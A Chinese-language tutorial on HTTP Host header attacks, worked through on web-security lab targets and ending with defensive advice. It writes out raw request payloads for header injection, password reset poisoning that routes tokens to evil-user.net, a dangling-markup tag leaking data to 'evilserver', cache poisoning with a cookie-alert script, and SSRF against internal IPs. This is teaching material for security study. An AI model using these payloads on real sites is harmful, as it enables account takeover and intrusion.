详解 HTTP Host 头攻击

1. HTTP Host头攻击

从HTTP / 1.1开始，HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如，当用户访问https://example.net/web-security时，其浏览器将组成一个包含Host标头的请求，如下所示：

GET /web-security HTTP/1.1
Host: example.net

在某些情况下，例如当请求由代理转发时，Host值可能会在到达预期的后端组件之前进行更改。也就发生了Host头攻击。

2. HTTP Host头的作用

HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确，则在将传入请求的应用程序时可能会导致问题。

从历史上看，这种漏洞并不存在太大问题，因为每个IP地址只会被用于单个域的内容。如今，很大程度上是由于同一个IP上存在多个Web应用程序（不同端口，不同域名解析等），通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。

当可以通过同一IP地址访问多个应用程序时，最常见的原因是以下情况之一：

虚拟主机

单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站，但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。

通过代理路由流量

网站托管在不同的后端服务器上，但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络（CDN）访问网站的情况下，这种设置尤其普遍。

在上面两种种情况下，即使网站托管在单独的后端服务器上，它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题，因为反向代理或负载平衡需要知道每个请求到的哪个后端上。

HTTP Host头的作用就在于，指定请求应该发送到那个应用程序的后端服务器上。打个比方，一封信需要送到居住在公寓楼中的某人手中，整个公寓有许多房间，每个房间都可以接受信件，通过指定房间号和收件人（也就是HTTP Host头）来将信封送到指定的人手中。

3. 什么是HTTP Host头攻击

一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头，未校验它的合法性，则攻击者可能能够使用此可控变量来注入Host，以操纵服务器端的行为。

现成的Web应用程序通常不知道将它们部署在哪个域上，除非在安装过程中在配置文件中手动指定了该域。例如，当他们需要知道当前域以生成电子邮件中包含的绝对URL时，他们可能依赖于Host头中的值：

<a href="https://_SERVER['HOST']/support">联系支持</a>

Host头值还可以用于不同网站系统之间的各种交互。

由于Host头实际上是用户可控制的，因此这种做法可能导致许多问题。如果未校验或者直接使用Host头，则Host头可以与一系列其他漏洞“组合拳”攻击，比如：

• 缓存投毒

• 特殊业务功能的逻辑漏洞

• 基于路由的SSRF

• 经典服务端漏洞，如SQL注入（当Host被用于SQL语句时）等

4. 如何发掘HTTP Host头攻击

首先要判断服务端是否检测Host头？检测完了是否还使用Host头的值？

通过修改Host的值，如果服务端返回错误信息：

则说明服务端检测了Host的内容。至于有没有使用Host头的值，有以下几种方法去发掘：

修改Host值

简单的来说，可以修改HTTP头中的Host值，如果观察到响应包中含有修改后的值，说明存在漏洞。

但有时候篡改Host头的值会导致无法访问Web应用程序，从而导致“无效主机头”的错误信息，特别是通过CDN访问目标时会发生这种情况。

添加重复的Host头

添加重复的Host头，通常两个Host头之中有一个是有效的，可以理解为一个是确保请求正确地发送到目标服务器上；另一个则是传递payload到后端服务器中。

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff

使用绝对路径的URL

尽管许多请求通常在请求域上使用相对路径，但是也同时配置了绝对URL的请求。

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff

有时候也可以尝试不同的协议，如HTTP或HTTPS。

添加缩进或换行

当一些站点block带有多个Host头的请求时，可以通过添加缩进字符的HTTP头来绕过：

GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

注入覆盖Host头的字段

与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff

诸如此类，还有其他的字段：

• X-Host

• X-Forwarded-Server

• X-HTTP-Host-Override

• Forwarded

忽略端口仅校验域名

当修改、添加重复Host头被拦截的时候，可以尝试了解Web应用程序是怎样解析Host头的。

比如，一些解析算法会忽略Host头中的端口值，仅仅校验域名。这时候可以将Host修改为如下形式：

GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff

保持域名不变，修改端口值为非端口号的其他值（非数字）， 将Host头攻击的payload放在端口值处，同样能进行Host头攻击。

5. HTTP Host头攻击漏洞示例

5.1 密码重置中毒

根据HTTP Host头攻击的攻击特点，它被广泛应用于密码重置中毒：攻击者可以操纵网站在重置密码情况下生成的密码重置链接，使其发送攻击者指定的域下，利用此来窃取重置任意用户密码的令牌。

一个重设密码（忘记密码）功能的大致流程如下：

• 1. 用户输入其用户名或电子邮件地址，然后提交密码重置请求。

• 2. 该网站检查该用户是否存在，然后生成一个临时的、唯一的、复杂的令牌，该令牌与后端的用户帐户相关联。

• 3. 该网站向用户发送一封电子邮件，其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中：

https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

• 4. 当用户访问此URL时，网站将检查提供的令牌是否有效，并使用它来确定要重置哪个帐户。如果一切都符合，则可以进入用户重置密码步骤。最后，令牌被销毁。

以上步骤的安全性依赖于：只有目标用户才能访问其电子邮件，从而可以访问其唯一的令牌。

密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。

如果网站重置密码的流程完全依赖用户的可控输入（如HTTP Host头），这可能导致密码重置中毒：

• 1. 攻击者获取受害者的用户名或者电子邮件，作为提交重置密码的请求，攻击者会拦截请求并修改HTTP Host头为其指定的域，如evil-user.net

• 2. 受害者会收到一封重置密码的邮件，但由于攻击者修改了Host头，而web程序生成重置链接又完全依赖于Host头，导致生成以下URL：

https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

• 3. 如果受害者点击了该链接，重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上

• 4. 当攻击者获取到虫子密码的令牌之后，就会进行相应的构造访问真实重置密码的URL进行密码重置。

5.1.1 密码重置中毒—基础

详细了解了上面的密码重置中毒的流程和原理之后，这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。

首先输入用户名或者用户的电子邮箱来重置指定用户的密码：

注意重置密码的链接，可能是受Host头的值的影响？

我们来验证一下是否存在HTTP Host头攻击，修改Host头的值为 baidu.com：

这里就输入受害用户carlos进行重置密码，然后抓包将Host头的值改为我们自己的服务器：

实际上他能够被 X-Forwarded-Host 字段影响，导致Host头攻击，当同时添加多个字段使请求被拦截时，可以尝试类似排除法、二分法来排查哪个字段有效。

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

5.1.3 重置密码中毒—Dangling Markup技术

首先简单介绍一下 Dangling Markup技术：

Dangling markup技术

Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术，它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略（CSP）阻止时，它非常有用。其思想是插入一些未完成状态的部分HTML，例如图像标记的src属性，页面上的其余标记关闭该属性，但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。

例如，我们在反射型XSS注入点上注入这样一个img标签：

<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

关于 Dangling Markup技术 的实战意义可以参考博主之前的文章：绕过CSP之Dangling markup技术

(https://blog.csdn.net/angry_program/article/details/106441323)

什么时候可以使用 Dangling Markup技术 呢？与我们这篇文章的主题有什么关系呢？

我们直接进入主题，当输入需要重置密码的用户名后，该用户的邮箱内会收到如下邮箱：

有一个跳转到登录界面的链接，后面紧接着重置之后的随机密码。

此时考虑一下，该链接是否是从Host头取值而来？只要这个值可控，那么就可以利用Host头攻击实施 Dangling Markup攻击，包含住链接后面紧跟着的密码，再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。

第一步，寻找Host头攻击点：

通过Fuzz，可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候，仅校验了域名，忽略了后面的端口号，造成端口值可控（可以是数字或字符）：

通过在Host头的端口中注入payload，依旧可以实现Host头攻击。

第二步，借助可控变量 Host：ip:port 来实施 Dangling Markup技术，从而将后面的密码外带到攻击者服务器上：

注意，需要闭合此处的双引号出去，经过尝试，输入单引号时，服务端会自动转为双引号，故这里通过单引号将双引号闭合，然后添加自定的<a href=xxx.attack-domain>标签将密码外带：

原本的正常HTML是这样的：

通过  Dangling Markup技术 在<a>标签的链接中注入? 符，使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上：

这也是 Dangling Markup技术 的精髓所在，该技术的核心点在于：

可控变量后面是否接着需要窃取的关键数据（包括Token、密码等）

在攻击者服务器上可以看到被Host头攻击转发上来的请求，里面成功窃取了受害者重置后的密码：

5.2 Host头攻击+缓存投毒

当存在Host头攻击的web站点不存在密码重置的功能的时候，此时该漏洞就显得没有影响，因为不可能驱使用户去抓包修改Host头，辅助攻击者完成一系列的攻击。

但是，如果目标站点使用Web缓存，则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击：

• 1. 需要寻找映射到其他用户请求的缓存键；

• 2. 下一步则是缓存此恶意响应；

• 3. 然后，此恶意缓存将提供给尝试访问受影响页面的所有用户。

第一步，寻找Host头攻击点：

通过对站点的主页添加重复的Host值，可以达到覆盖的效果，并验证存在Host头攻击：

第二步，寻找是否使用了Web缓存？缓存键是什么？

从上图中也可以发现，站点使用了Wen缓存功能，并且配合Host头攻击，可以缓存 /resources/js/tracking.js 资源文件。

第三步，在攻击者服务器上创建一个同名的 /resources/js/tracking.js 资源文件，内容为：

alert(document.cookie);

然后通过Host头注入攻击者服务器域名，可以看到在响应中正确地对应了我们的 /resources/js/tracking.js 资源文件：

发送多次请求，使该请求的响应变为缓存：

当其他用户请求站点主页时，服务端就会提供该恶意缓存给用户，造成缓存投毒。

5.3 Host头攻击绕过访问控制

出于安全考虑，通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。

对于一个站点，从发现Host头攻击到利用，下面来展示一个完整的流程：

第一步，访问主页，随意修改Host的值：

注意，这里的Host的值不会出现响应包中，但是依然可能存在Host头攻击，因为响应依然成功，说明服务端没有对Host头做验证。

第二步，寻找敏感页面，通过 /robots.txt 知道 /admin 为做了访问控制的页面：

可以错误信息提示，/admin 页面只允许本地用户访问。

第三步，将Host改为服务端内部地址，从而绕过IP访问控制：

5.4 Host头攻击+SSRF

Host头攻击可能会导致基于路由的SSRF攻击，称为：Host SSRF Attack。

经典的SSRF攻击通常基于XXE或可利用的业务逻辑，将用户可控的URL作为HTTP请求发送；而基于路由的SSRF依赖于云部署的体系结构中，包括负载均衡和反向代理，这些中间件将请求分配发送到对应的后端服务器处理，如果服务端未校验Host头转发的请求，则攻击者可能会将请求发送（重定向）到体系中的任意系统。

这可能需要知道内部系统的IP地址（私有地址），一般可以通过信息收集或者Fuzz来判断有效的私有IP地址（如枚举192.168.1.1/16）。

5.4.1 基础Host头攻击+SSRF

比如，普通方式访问不到 /admin 页面（404）：

猜测 /admin 存在于内网中，需要内网机器才能访问，但是配合Host头攻击+SSRF可以绕过并访问。

第一步，判断Host是否被使用，可用DNSLog外带

这里我使用Burp自带的 “Burp Collaborator client”  来实现外带：

说明服务端是根据Host头的域名来请求资源的。

第二步，基于Host头的SSRF探测内网主机

假如一些敏感的页面（比如管理页面），深处于内网，外网无法访问，但是通过Host头攻击+SSRF可达到绕过访问控制，从而访问内网资产，这里Fuzz内网的IP的C段为192.168.0.0/24，直接利用Intruder枚举：

得到内网IP为192.168.0.240

第三步，访问内网资源

构造 /admin 页面，在Host处换位内网IP：

5.4.2 Host头攻击+SSRF—使用绝对路径的URL

有时候服务端会校验Host头的值，如果Host被修改，服务端会拒绝一切修改过后的请求：

普通请求通常在请求域上使用相对路径，但是，服务端也同时可能配置了绝对URL的请求，采用如下形式可绕过对Host的验证：

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

接着用 “Burp Collaborator client” 进行外带：

外带成功，说明Host头被服务端使用来向指定域名请求资源，直接SSRF爆破内网：

访问内网页面：

6. HTTP Host头攻击防护

最简单的方法是避免在服务器端代码中完全使用Host头，可以只使用相对URL。

其他方法包括：

6.1 正确配置绝对域名URL

当必须使用绝对域名URL时，应在配置文件中手动指定当前域的URL，并引用配置的值，而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。

6.2 白名单校验Host头的域

如果必须使用Host头，需要正确校验它的合法性。这包括允许的域，并使用白名单校验它，以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。

6.3 不支持主机头覆盖

确保不适用与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。

值得一提的是，不应该将内网使用的Host主机（不出网）与公网的应用程序托管在同一个服务器上，否则攻击者可能会操纵Host头来访问内部域。

推荐阅读